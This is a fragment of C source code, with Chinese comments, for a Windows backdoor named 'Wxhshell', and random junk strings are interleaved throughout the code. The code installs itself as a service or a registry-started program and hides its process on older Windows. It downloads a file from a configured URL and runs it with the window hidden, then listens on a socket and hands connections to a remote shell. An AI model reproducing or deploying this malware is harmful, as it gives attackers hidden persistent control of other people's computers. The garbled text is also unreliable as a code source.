iE O_qwD6s-_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t
V(
WhP I eJI-lo CloseHandle(hProcess); 0@!huk ,p3]`MG if(strstr(procName,"services")) return 1; // 以服务启动 X4]miUmh eAo+w*D( return 0; // 注册表启动 m 94PFD@N } Q=8YAiCu bf@g*~h@ // 主模块 78{9@\e"0 int StartWxhshell(LPSTR lpCmdLine) 4BUG\~eI3 { ?Wz2J3A.2t SOCKET wsl; 2GORGS% BOOL val=TRUE; (c)=Do= int port=0; 8HFCmY# struct sockaddr_in door; ?_FL
'G V'e%%&g~N if(wscfg.ws_autoins) Install(); Q
8Hl7__^ >SLQW port=atoi(lpCmdLine); _}Qtx/Cg >O<a9wz if(port<=0) port=wscfg.ws_port; l;KrFJ6 }A+ncabm WSADATA data; "T_9_6tH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a7c`[ /='0W3+o*L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; U+*l!"O,
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VsJ+-IHm door.sin_family = AF_INET; tVO}{[U} door.sin_addr.s_addr = inet_addr("127.0.0.1"); z
&Xl door.sin_port = htons(port); $1"gFg L /:^;j`c if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \#(1IC`as closesocket(wsl); SGSyO0O return 1; n<bU' n } AwXzI;F^ L'r&'y[ if(listen(wsl,2) == INVALID_SOCKET) { z?<B@\~ closesocket(wsl); lHtywZ@%3 return 1; rbnAC*y8'L } QK?V^E Wxhshell(wsl); s2"`j-iQ WSACleanup(); b6
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NdRcA return 0; _,!0_\+i e2v`
} gy%.+!4>v` Fy"M 4;7 // 以NT服务方式启动 Et!J*{s VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
P4q5#r { 7bk77`qWr DWORD status = 0; uDie205 DWORD specificError = 0xfffffff; /M%>M] ,IyQmN y serviceStatus.dwServiceType = SERVICE_WIN32; (ne[a2%> serviceStatus.dwCurrentState = SERVICE_START_PENDING; a51e~mg Z` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Pw*p*z serviceStatus.dwWin32ExitCode = 0; |J,zU6t serviceStatus.dwServiceSpecificExitCode = 0; ~w3u(X$m" serviceStatus.dwCheckPoint = 0; mP&\? serviceStatus.dwWaitHint = 0; CdF;0A9.3 =4MTb_ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]CF-#q}' if (hServiceStatusHandle==0) return; ppRmC,0f^ g5@JA^\vZT status = GetLastError(); ]5jS6@Vl* if (status!=NO_ERROR) KR#,6 { ":$4/b6 serviceStatus.dwCurrentState = SERVICE_STOPPED; s-#EV serviceStatus.dwCheckPoint = 0; c 9f"5~ serviceStatus.dwWaitHint = 0; r@3-vLI!u serviceStatus.dwWin32ExitCode = status; {/]2~! serviceStatus.dwServiceSpecificExitCode = specificError; R|8vdZ%@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6&os`! return; {lWV H } m;~} }~&vQ a5pl/d serviceStatus.dwCurrentState = SERVICE_RUNNING; vSR&>Q%X serviceStatus.dwCheckPoint = 0; ;:D-}t; serviceStatus.dwWaitHint = 0; ;.uYWP|9 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
kScZP8yw } KE3`5Y! /IWAU)A0 // 处理NT服务事件,比如:启动、停止 YK6LJv} VOID WINAPI NTServiceHandler(DWORD fdwControl) <4;
nq~ { 04-_ K switch(fdwControl) HpEd$+Mz { L]H'$~xx* case SERVICE_CONTROL_STOP: ;&&<zWq3h serviceStatus.dwWin32ExitCode = 0; KM wV;r serviceStatus.dwCurrentState = SERVICE_STOPPED; 3<&:av3 serviceStatus.dwCheckPoint = 0; YSeH;<' serviceStatus.dwWaitHint = 0; >`0U2K { \W.CHSD SetServiceStatus(hServiceStatusHandle, &serviceStatus); zuLW'a6F- } QMBT8x/+_' return; bFX{|&tHU case SERVICE_CONTROL_PAUSE: KAClV%jP serviceStatus.dwCurrentState = SERVICE_PAUSED; qR'FbI break; !b+4[xky case SERVICE_CONTROL_CONTINUE: Zu.hcDw1 serviceStatus.dwCurrentState = SERVICE_RUNNING; ,!l _ break; QEs$9a5TE case SERVICE_CONTROL_INTERROGATE: D6Ad"|Z break; :')[pO_FW* }; h.X4x2(. SetServiceStatus(hServiceStatusHandle, &serviceStatus); i]r(VKX } )$:1e)d eLSzGbKf // 标准应用程序主函数 Ma|4nLC} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t,7%|
{ { ww^\_KGu7 hN2A%ds*(j // 获取操作系统版本 }qiZ%cT.G OsIsNt=GetOsVer(); %XGm\p GetModuleFileName(NULL,ExeFile,MAX_PATH); 5)RZJrN] !d N[9} // 从命令行安装 mLuNl^)3 if(strpbrk(lpCmdLine,"iI")) Install(); =sYILe[ U*[E+Uq}:N // 下载执行文件 l1 Kv`v\ if(wscfg.ws_downexe) { 0$)Q@# if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PyQ.B*JJ WinExec(wscfg.ws_filenam,SW_HIDE); S[F06.(1 } -'$ob~* :/T\E\Qr if(!OsIsNt) { <IZt]P // 如果时win9x,隐藏进程并且设置为注册表启动 7.h{"xOx{ HideProc(); 2%pED
xui StartWxhshell(lpCmdLine); '0D$C},^|8 } xG/Q%A else J{ju3jo if(StartFromService()) 4f\NtQ) // 以服务方式启动 W'@|ob StartServiceCtrlDispatcher(DispatchTable); M-^I! C else bp?5GU&Uy // 普通方式启动 X`D2w: StartWxhshell(lpCmdLine); AT"gRCU$4 v1:.t return 0; +yP!7] }
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